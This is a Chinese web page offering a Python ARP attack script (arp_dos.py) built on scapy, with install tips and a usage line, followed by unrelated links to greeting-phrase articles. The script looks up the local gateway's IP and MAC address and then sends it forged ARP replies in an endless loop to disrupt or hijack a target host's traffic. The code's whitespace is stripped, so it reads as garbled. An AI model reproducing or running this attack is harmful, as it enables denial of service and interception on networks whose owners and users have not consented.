python写的ARP攻击代码实例
注:使用这个脚本需要安装scapy包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8 #example:sudo pythonarp_dos.py 192.168.1.103
fromscapy.allimportARP,send importos,re,sys
defget_gateway_ip(): t=os.popen('route-n') foriint: ifi.startswith('0.0.0.0'): r=re.split("\s+",i) returnr[1]
defget_gateway_hw(ip): t=os.popen('arp-e%s'%ip) foriint: ifi.startswith(ip): r=re.split("\s+",i) returnr[2] defhack(hackip): ip=get_gateway_ip() hw=get_gateway_hw(ip) arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip) #os.popen('ifconfigeth0%s'%hackip) while1: send(arp)
defhelp(): print("USEAGE:sudopythonarp_dos.py192.168.1.100")
defmain(): iflen(sys.argv)!=2: help() else: hack(sys.argv[1]) if__name__=="__main__": main()
热门推荐
10 2026新年的简短祝福语
11 祝贺母校祝福语简短英语
12 考上大学简短祝福语、
13 送病人简短的祝福语
14 晚来的生日祝福语简短
15 长辈请客祝福语简短精辟
16 祝福语短句简短好听霸气
17 庆祝当生日祝福语简短
18 新郎朋友祝福语简短大气